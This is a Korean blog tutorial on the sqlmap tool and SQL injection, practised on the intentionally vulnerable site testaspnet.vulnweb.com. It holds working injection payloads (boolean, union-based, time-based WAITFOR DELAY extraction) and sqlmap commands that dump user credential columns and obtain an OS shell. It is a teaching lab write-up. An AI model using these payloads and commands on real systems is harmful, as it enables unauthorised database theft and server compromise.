ி Sqlmap
데이터베이스 정보와 데이터 추출, 쉘 침투를 통한 시스템 공격 등이 가능하다.
일반 옵션
-u URL, --url=URL 대상 URL
--cookie=COOKIE HTTP 쿠키값 ( "PHPSESSID=a8d127e.." )
--dbms=DBMS DBMS ( mysql, mssql )
--batch 사용자 입력을 요구하지 않는다.
--flush-session 현재 대상의 세션 파일을 초기화
--threads=THREADS 최대 HTTP 요청 수 (default 1)
-v VERBOSE Verbosity level: 0-6 DBMS 정보 확인 (default 1)
--data=DATA "user=USER&password=PASS" POST 방식의 입력값 점검
-p TestParameter "--data "user=USER&password=PASS" -p user"
--level=LEVEL 숫자가 높을수록 깊은 단계의 테스트를 수행 (1-5, default 1)
--risk=RISK 위험도 지정 (1-3, default 1)
열거 옵션
-b, --banner 배너 검색
--current-user 현재 사용자 검색
--current-db 현재 DB 검색
--passwords 사용자 비밀번호 해시값 열거
--tables DB 테이블 열거
--columns DB 테이블 컬럼 열거
--schema 스키마 열거
--dump DB 테이블 항목 덤프
--dump-all 모든 DB 테이블 항목 덤프
-D DB 데이터베이스 지정
-T TBL 테이블 지정
-C COL 테이블 컬럼 지정
OS 접근 옵션
--os-shell os 쉘 획득
# sqlmap -u "http://192.168.0.10/admin/index.php" --data "user=USER&password=PASS" --os-shell
--os-pwn Meterpreter 또는 VNC에 대한 프롬프트
ி 실습
http://testaspnet.vulnweb.com
공격 포인트 확인
http://testaspnet.vulnweb.com/Comments.aspx?id=0
http://testaspnet.vulnweb.com/ReadNews.aspx?id=0
쿼리 실행 여부 확인
Injection check
http://testaspnet.vulnweb.com/Comments.aspx?id=0 and 1=0
http://testaspnet.vulnweb.com/Comments.aspx?id=0 and 1=1
조건부에 따라 페이지의 출력 여부가 달라진다. (공격 가능)
Error Based Injection
http://testaspnet.vulnweb.com/Comments.aspx?id=-1'
에러 메시지없이 빈 화면만 표시되었다. 이 기법으로는 공격이 불가하다.
Union SQL Injection
http://testaspnet.vulnweb.com/Comments.aspx?id=1 union select 1,2,3,4,5 --
컬럼 개수를 맞춘 뒤 웹 페이지에 DB명, Table 정보 등을 획득한다.
Time based
조건이 참이면 정한 시간을 기다린 후 페이지가 출력,
거짓이면 바로 출력된다.
대기함수는 MySQL - sleep, MSSQL - waitfor delay를 사용한다.
http://testaspnet.vulnweb.com/comments.aspx?id=1; WAITFOR DELAY '0:0:5' --
waitfor delay 함수가 실행 되는 것으로 보아 MSSQL을 사용하는 것을 알 수 있다.
http://testaspnet.vulnweb.com/comments.aspx?id=2; IF(UNICODE(SUBSTRING((SELECT ISNULL ( CAST (SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1))>64) WAITFOR DELAY '0:0:5' --
아스키가 64 이상이면 5초후에 실행하며 첫번째 문자열을 추출하여 유니코드로 변환한다.
sqlmap
# sqlmap -u testaspnet.vulnweb.com/Comments.aspx?id=1 --batch --dbs --thread=10
# sqlmap -u testaspnet.vulnweb.com/Comments.aspx?id=1 --batch --threads=10 -a
첫 째 구문은 일부 데이터베이스만 나오므로 -a 옵션을 통해 전체 DB가 나오도록 입력하였다.
테이블명 확인
# sqlmap -u testaspnet.vulnweb.com/Comments.aspx?id=1 --tables -D acublog --batch --thread=10
# sqlmap –u testaspnet.vulnweb.com/Comments.aspx?id=1 --batch -D acublog dbo.users --columns --thread=10
# sqlmap -u testaspnet.vulnweb.com/Comments.aspx?id=1 --dump -T dbo.users -D acublog --batch --thread=10 --columns uname,upass
password는 해시로 암호화되어 있으나 해시크랙사이트에서 복호화하면 평문값이 도출된다.
'해킹-보안' 카테고리의 다른 글
버프스위트(Burpsuite) 기능 활용 (0) | 2020.07.26 |
---|---|
파일 업로드 취약점 Challenge (0) | 2020.07.25 |
hydra 패스워드 크랙툴 사용법 (3) | 2020.07.13 |
파일 업로드/다운로드 취약점 공격 (0) | 2020.07.05 |
버프스위트(Burpsuite) 설치 및 환경설정 (0) | 2020.07.05 |